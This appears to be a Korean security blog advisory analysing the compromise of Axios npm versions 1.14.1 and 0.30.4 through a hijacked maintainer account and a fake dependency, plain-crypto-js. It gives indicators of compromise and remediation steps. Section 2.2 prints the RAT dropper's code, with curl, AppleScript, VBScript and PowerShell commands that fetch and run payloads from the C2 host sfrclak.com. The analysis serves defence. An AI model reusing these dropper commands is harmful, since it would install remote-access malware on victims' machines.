1. 개요
- Axios의 두 가지 악성 버전이 NPM에 게시되어, 설치 시 원격 접근 트로이목마(RAT) 배포 [1]
- Axios 프로젝트 관리자의 NPM 계정을 탈취해 Github Actions를 우회하고 악성 패키지 업로드
- 소스 코드에 악성 코드를 삽입하지 않고, 가짜 의존성을 삽입해 postinstall 스크립트로 RAT 설치 및 흔적 삭제
- Mac OS, Windows, Linux 환경을 대상으로 각각 다른 공격 방식으로 C2 서버와 통신하며 추가 페이로드 다운로드
1.1 Axios
- node.js와 브라우저를 위한 Promise API 기반 비동기식(Asynchronous) HTTP 클라이언트로 오픈소스 소프트웨어 [2]
- 비동기식(Asynchronous) 통신 [3]
> 요청을 보낸 후 응답을 기다리지 않고 다음 작업을 수행하다가, 응답이 도착하면 해당 시점에 결과를 처리하는 방식
> 장점 : 전체 페이지를 로딩하지 않고 필요한 부분만 업데이트하여 UI 끊김을 방지하고, 웹 페이지 속도 및 성능 향상, 자원 및 시간 절약 등
> 단점 : 코드 실행 순서와 실제 완료 순서가 달라 코드 복잡도 증가, 요청 순서와 응답 순서가 보장되지 않으며, 에러 발생 지점의 파악이 어려움 등
- Promise API [4][5]
> Promise는 비동기 작업의 결과(성공, 실패)를 표현하는 JavaScript의 객체로, 비동기 작업의 진행/성공/실패 상태를 표현
> Pending(대기), Fulfilled(성공), Rejected(실패) 상태를 가지며, 결과를 .then, .catch, .finally 핸들러를 통해 후속 작업을 수행
> 비동기 결과를 객체로 관리하여 반복되는 비동기 작업을 효율적으로 처리할 수 있으며, 코드 가독성 및 확장에 용이
2. 주요내용
- Axios의 두 가지 악성 버전 (axios@1.14.1, axios@0.30.4)이 NPM에 게시
> 관리자의 NPM 계정을 탈취해 GitHub Actions CI/CD 파이프라인을 우회하고, 수동으로 악성 패키지 게시
> 두 버전 모두 소스 코드에 악성 코드를 삽입하지 않고, 가짜 의존성 plain-crypto-js@4.2.1를 삽입
> plain-crypto-js@4.2.1는 postinstall 스크립트를 통해 RAT 설치
> RAT는 MacOS, Windows, Linux를 대상으로 C2 서버와 통신해 추가 페이로드 다운
> 공격 이후 악성 코드와 흔적을 삭제하고, 정상 파일(package.json)로 교체
2.1 공격 단계
① 관리자 계정 탈취
- Axios 프로젝트의 관리자인 jasonsaayman의 NPM 계정 탈취 후 해당 계정에 등록된 이메일 계정을 ifstap@proton.me로 변경
> 1.x 및 0.x 릴리스 브랜치 모두에 악성 빌드 게시
※ 포렌식 단서 : 정상 릴리스는 GitHub Actions의 OIDC Trusted Publisher를 통해 게시되지만, axios@1.14.1은 수동 게시로 gitHead와 OIDC 서명이 없음
// axios@1.14.0 — LEGITIMATE
"_npmUser" : {
"name" : "GitHub Actions",
"email" : "npm-oidc-no-reply@github.com",
"trustedPublisher" : {
"id" : "github",
"oidcConfigId" : "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
}
}
// axios@1.14.1 — MALICIOUS
"_npmUser" : {
"name" : "jasonsaayman",
"email" : "ifstap@proton.me"
// no trustedPublisher, no gitHead, no corresponding GitHub commit or tag
}
② 악성 의존성 준비
- plain-crypto-js@4.2.1 패키지는 nrwise@proton.me 계정에서 게시
> crypto-js와 동일한 설명과 저장소 URL을 사용해 위장
> "postinstall": "node setup.js" 훅을 포함하여 설치 시 RAT 드로퍼 자동 실행
> 공격 후 증거 삭제를 위한 정상 파일(package.md) 준비
// plain-crypto-js@4.2.1 (MALICIOUS — nrwise@proton.me)
{
"name" : "plain-crypto-js", // ← different name, everything else cloned
"version" : "4.2.1", // ← version one ahead of the real package
"description" : "JavaScript library of crypto standards.",
"author" : {"name" : "Evan Vosberg"}, // ← fraudulent use of real author name
"homepage" : "http://github.com/brix/crypto-js", // ← real repo, wrong package
"scripts" : {
"test" : "grunt",
"postinstall" : "node setup.js" // ← THE ONLY DIFFERENCE. The entire weapon.
}
}
③ 의존성 삽입
- axios@1.14.1 및 axios@0.30.4 버전에 plain-crypto-js@^4.2.1을 런타임 의존성으로 추가
> npm install axios@1.14.1 명령 실행 시 종속성 트리를 해석해 자동으로 악성 패키지 자동 설치
> 해당 패키지는 코드 내에서 한 번도 import 되지않은 유령 의존성(Phantom Dependency)
- 유령 의존성(Phantom Dependency) [6][7]
> package.json은 현재 프로젝트에 관한 정보와 의존성 패키지 목록(Dependencies)을 관리하는 JSON 형식의 파일
> npm은 중복 설치 방지와 디스크 공간 절약을 위해 하위 의존성을 최상위 node_modules에서 의존성을 관리 (Hoisting)
> package.json에 직접 명시하지 않더라도, 다른 패키지의 의존성으로 설치된 패키지를 코드에서 불러와 사용할 수 있게 되는 현상
> 관리 범위를 벗어난 의존성이 잠재적 공격 표면을 형성하여, 악성 패키지가 삽입되어도 파악이 어려워 공급망 공격 등 보안 리스크 발생
2.2 RAT 드로퍼 setup.js 분석
- 모듈 이름, OS 식별자, 셸 명령, C2 주소 등의 문자열을 stq[] 배열에 암호화하여 저장하고 XOR 후 Base64로 복호화
> 드로퍼는 C2에 연결할 수 없거나, 사용자가 대상 경로에 쓰기 권한이 없는 등의 실패 시 실행을 종료하고, OS(MacOS, Windows, Linux)별 동작 과정의 차이를 보임
> C2 URL : hxxp://sfrclak.com:8000/6202033

① MacOS
- OS 식별자가 darwin인 경우 MacOS를 대상으로 악성 행위 수행
> AppleScrip를 /tmp/6202033에 작성한 후 osascript로 실행
> C2에서 RAT 바이너리를 다운받아 /Library/Caches/com.apple.act.mond에 저장 및 파일 권한 수정 후 실행
// ─────────────────────────────────────────────────
// BRANCH 1: macOS (darwin)
// ─────────────────────────────────────────────────
if (platform === "darwin") {
const scriptPath = tmpDir + "/" + campaignId; // /tmp/6202033
/* curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s http://sfrclak.com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &" \
>& /dev/null */
const appleScript = `
set {a, s, d} to {"", "${c2Url}", "/Library/Caches/com.apple.act.mond"}
try
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null"
end try
do shell script "rm -rf ${scriptPath}"`;
fs.writeFileSync(scriptPath, appleScript);
execCommand = `nohup osascript "${scriptPath}" > /dev/null 2>&1 &`;
② Windows
- OS 식별자가 win32인 경우 Windows를 대상으로 악성 행위 수행
> PowerShell 경로 탐색 후 %PROGRAMDATA%\wt.exe로 복사
> VBScript를 통해 C2에서 숨김 및 실행 정책 우회 옵션을 사용해 RAT 다운로드 및 실행
> 임시파일 (.vbs, .ps1)은 실행 후 삭제
// ─────────────────────────────────────────────────
// BRANCH 2: Windows (win32)
// ─────────────────────────────────────────────────
} else if (platform === "win32") {
const psPath = execSync("where powershell").toString().trim();
const wtPath = process.env.PROGRAMDATA + "\\wt.exe";
if (!fs.existsSync(wtPath)) {
fs.copyFileSync(psPath, wtPath);
// Creates a persistent copy of PowerShell. wt.exe is Windows Terminal's
// binary name — a legitimate-looking process in %PROGRAMDATA%.
}
const ps1Path = tmpDir + "\\" + campaignId + ".ps1"; // %TEMP%\6202033.ps1
const vbsPath = tmpDir + "\\" + campaignId + ".vbs"; // %TEMP%\6202033.vbs
/* Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X
POST -d ""packages.npm.org/product1"" ""http://sfrclak.com:8000/6202033"" > ""%TEMP%\6202033.ps1"" &
""powershell.exe"" -w hidden -ep bypass -file ""%TEMP%\6202033.ps1"" ""http://sfrclak.com:8000/6202033""
& del ""%TEMP%\6202033.ps1"" /f", 0, False */
const vbScript = `
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""${c2Url}"" > ""${ps1Path}"" & ""${wtPath}"" -w hidden -ep bypass -file ""${ps1Path}"" ""${c2Url}"" & del ""${ps1Path}"" /f", 0, False`;
fs.writeFileSync(vbsPath, vbScript);
// cscript "%TEMP%\6202033.vbs" //nologo && del "%TEMP%\6202033.vbs" /f
execCommand = `cscript "${vbsPath}" //nologo && del "${vbsPath}" /f`;
③ Linux
- OS 식별자가 darwin 또는 win32이 아닌 경우 Windows를 대상으로 악성 행위 수행
> curl 명령으로 /tmp/ld.py 다운로드 후 nohup python3으로 백그라운드에서 실행
// ─────────────────────────────────────────────────
// BRANCH 3: Linux / other
// ─────────────────────────────────────────────────
} else {
execCommand = `curl -o /tmp/ld.py -d packages.npm.org/product2 -s ${c2Url} && nohup python3 /tmp/ld.py ${c2Url} > /dev/null 2>&1 &`;
// curl and nohup chained with &&: nohup only runs if curl succeeded.
// If the C2 is unreachable, chain silently fails — npm install still exits 0.
/* curl -o /tmp/ld.py \
-d packages.npm.org/product2 \
-s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 & */
}
// execSync is blocking, but all three commands return immediately because
// the real work is detached to background processes (nohup / cscript 0,False)
execSync(execCommand);

2.3 자가 삭제 및 은폐
- setup.js 및 package.json 삭제 후 package.md를 package.json 교체하여 정상 패키지로 위장
> 정상 파일로 변경하였기 때문에 npm audit 명령 결과 특이사항 없음
> 자가 삭제 및 은폐가 완료되어도 node_modules/plain-crypto-js/ 디렉토리가 존재하기 때문에 감염 여부 판단 가능
2.4 북한발 공급망 공격
- 이번 공격에 사용된 페이로드와 인프라에서 과거 북한 연계 공격 조직 UNC1069와 중복되는 부분이 발견 [8]
> 플랫폼별 페이로드는 모두 WAVESHAPER.V2로 추적되는 백도어 변종을 배포
> WAVESHAPER.V2는 시스템 정보 수집, 임의 명령 실행, 재귀적 파일 탐색 기능을 가짐
> 해당 백도어는 C++로 작성되었으며, OS와 관계없이 60초 간격으로 C2:8000와 통신하며 다음 동작을 결정
| 명령 | 설명 |
| kill | 악성 프로그램의 실행 프로세스 종료 |
| rundir | ReqPaths 매개변수로 지정된 경로에 대해 파일 경로, 크기, 생성/수정 타임스탬프를 포함한 상세 디렉터리 목록 검색 |
| runscript | AppleScript 페이로드 디코딩 및 실행 |
| peinject | 임의의 바이너리 페이로드를 디코딩, 드롭, 임시 서명하고 선택적 매개변수와 함께 실행 |
3. 대응방안
- 권고 방안
① 의존성 관리 및 차단
> Axios 정상 버전 사용 (Ex. 1.14.0 이하, 0.30.3 이하)
> package-lock.json을 통해 의존성을 안전한 Axios 버전으로 고정
> 재감염 방지를 위해 모든 개발자 PC 및 빌드 서버의 NPM, Yarn, pnpm 캐시 삭제
② 침해 사고 조사
> 프로젝트 내 plain-crypto-js 패키지 존재 여부 확인
> 개발 환경에 EDR을 배포하여 의심스러운 프로세스 또는 알려진 침해지표 모니터링
> 침해지표 차단 및 모니터링
③ 시스템 복구 및 자격 증명 재설정
> Axios를 사용하는 모든 패키지의 CI/CD 배포를 일시 중단한 후 안전한 버전으로 재배포
> plain-crypto-js 존재 시 감염으로 간주하여 시스템 내 존재하는 모든 자격증경 및 비밀 키 교체
> 침해지표가 확인된 애플리케이션에서 사용된 모든 토큰과 API 키 교체
④ 보안 강화 및 예방
> 개발 환경을 컨테이너나 샌드박스로 격리하고, aws-vault 명령 등을 사용해 자격 증명을 안전하게 관리
- 영향 확인
① npm list axios 또는 package-lock.json에서 1.14.1 / 0.30.4 문자열 확인
② node_modules/plain-crypto-js 존재 여부 확인
③ OS별 RAT 파일 존재 시 감염으로 간주
④ CI/CD 로그에서 해당 버전 설치 로그 확인 시 모든 비밀키 변경
- 복구 단계
① Axios를 안전 버전(1.14.0 또는 0.30.3)으로 고정
② plain-crypto-js 폴더 삭제 후 npm install --ignore-scripts 재설치
③ RAT 흔적 발견 시 시스템 재구축
④ 모든 자격 증명(AWS, SSH, CI/CD 등) 회전
⑤ CI/CD 파이프라인 점검 및 비밀키 교체
⑥ 자동 빌드 시 --ignore-scripts 옵션 사용
⑦ C2 도메인/IP를 방화벽 또는 /etc/hosts로 차단
- 침해지표 적용 및 모니터링
| 구분 | 설명 |
| 악성 NPM 패키지 | - axios@1.14.1 (shasum: 2553649f232204966871cea80a5d0d6adc700ca) - axios@0.30.4 (shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71) - plain-crypto-js@4.2.1 (shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766) |
| 네트워크 | - C2 도메인 : sfrclak.com - IP : 142.11.206.73 - C2 URL : hxxp://sfrclak.com:8000/6202033 ※ OS 별 HTTP 요청 - MacOS POST Body : packages.npm.org/product0 - Windows POST Body : packages.npm.org/product1 - Linux POST 본문 : packages.npm.org/product2 |
| 파일 경로 | - macOS : /Library/Caches/com.apple.act.mond - Windows : %PROGRAMDATA%\wt.exe - Linux : /tmp/ld.py ※ Windows : %TEMP%\6202033.vbs (임시파일, 자동 삭제) ※ Windows : %TEMP%\6202033.ps1 (임시파일, 자동 삭제) |
| 공격자 계정 | - jasonsaayman (탈취된 유지관리자) - nrwise (공격자 생성 계정) |
※ 상세 침해지표는 [1], [8], [12] 참고
4. 참고
[1] https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
[2] https://axios-http.com/kr/docs/intro
[3] https://inpa.tistory.com/entry/WEB-%F0%9F%8C%90-%EB%B9%84%EB%8F%99%EA%B8%B0Async%ED%86%B5%EC%8B%A0-%EB%8F%99%EA%B8%B0Sync%ED%86%B5%EC%8B%A0
[4] https://inpa.tistory.com/entry/JS-%F0%9F%93%9A-%EB%B9%84%EB%8F%99%EA%B8%B0%EC%B2%98%EB%A6%AC-Promise
[5] https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise
[6] https://docs.npmjs.com/creating-a-package-json-file
[7] https://toss.tech/article/node-modules-and-yarn-berry
[9] https://www.dailysecu.com/news/articleView.html?idxno=206020
[10] https://www.dailysecu.com/news/articleView.html?idxno=206021
[11] https://www.boannews.com/media/view.asp?idx=142967&page=1&kind=1
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72014
[13] https://news.hada.io/topic?id=28047
'취약점 > Supply-Chain Attack' 카테고리의 다른 글
| Checkmarx 및 Bitwarden CLI 공급망 공격 (0) | 2026.04.26 |
|---|---|
| LiteLLM 1.82.7 및 1.82.8 PyPI 패키지 공급망 공격 (0) | 2026.03.28 |
| Trivy 공급망 공격 (CVE-2026-33634) (0) | 2026.03.25 |
| Notepad++ 공급망 공격 (0) | 2026.02.11 |
| IDE Extensions 기법 (2) | 2025.06.29 |
